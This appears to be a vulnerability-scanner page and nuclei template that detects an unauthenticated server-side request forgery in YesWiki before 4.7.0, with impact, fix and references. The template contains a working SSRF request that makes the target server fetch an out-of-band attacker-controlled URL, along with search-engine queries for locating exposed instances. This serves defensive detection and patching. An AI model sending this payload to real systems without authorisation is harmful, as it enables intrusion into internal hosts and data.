YesWiki < 4.7.0 - Unauthenticated Server-Side Request Forgery

highseverity

5.3CVSS score

0.5%likelihood of exploitation, next 30 days

44%of all CVEs are less likely

Readycheck to confirm it

YesWiki < 4.7.0 contains an unauthenticated server-side request forgery caused by improper handling of [[|URL]] wiki syntax in the render handler, letting remote attackers fetch arbitrary URLs, exploit requires no authentication.

Impact

Remote attackers can fetch arbitrary URLs, potentially accessing internal hosts and sensitive data.

Fix

Update to version 4.7.0 or later.

How to confirm it

Send: GET /?wiki=PagePrincipale
Positive when: status_code == 200 and contains(body, "yeswiki-base.css") and compare_versions(version, "< 4.7.0")
Send: GET /?wiki=PagePrincipale/render&content=%5B%5B%7Chttp%3A%2F%2F{{interactsh-url}}%5D%5D
Positive when: status_code == 200 and contains(interactsh_protocol, "http")

Run it with nuclei: nuclei -id CVE-2026-116205 -u <target>

The full check

id: CVE-2026-116205

info:
  name: YesWiki < 4.7.0 - Unauthenticated Server-Side Request Forgery
  author: kosoyyagent
  severity: high
  description: |
    YesWiki < 4.7.0 contains an unauthenticated server-side request forgery caused by improper handling of [[|URL]] wiki syntax in the render handler, letting remote attackers fetch arbitrary URLs, exploit requires no authentication.
  impact: |
    Remote attackers can fetch arbitrary URLs, potentially accessing internal hosts and sensitive data.
  remediation: |
    Update to version 4.7.0 or later.
  reference:
    - https://github.com/YesWiki/yeswiki/security/advisories/GHSA-x9j5-r988-9jcc
    - https://www.vulncheck.com/advisories/yeswiki-before-4.7.0-unauthenticated-ssrf-via-url-raw-inclusion-syntax
    - https://nvd.nist.gov/vuln/detail/CVE-2026-116205
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2026-116205
    epss-score: 0.0051
    epss-percentile: 0.43835
    cwe-id: CWE-918
  metadata:
    verified: true
    max-request: 1
    vendor: yeswiki
    product: yeswiki
    shodan-query: http.html:"YesWiki"
    fofa-query: body="YesWiki"
  tags: cve,cve2026,yeswiki,ssrf,oast,unauth

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /?wiki=PagePrincipale HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "yeswiki-base.css")'
          - 'compare_versions(version, "< 4.7.0")'
        condition: and
        internal: true

    extractors:
      - type: regex
        part: body
        group: 1
        name: version
        internal: true
        regex:
          - 'yeswiki-base\.css\?v=([0-9.]+)'

  - raw:
      - |
        GET /?wiki=PagePrincipale/render&content=%5B%5B%7Chttp%3A%2F%2F{{interactsh-url}}%5D%5D HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(interactsh_protocol, "http")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from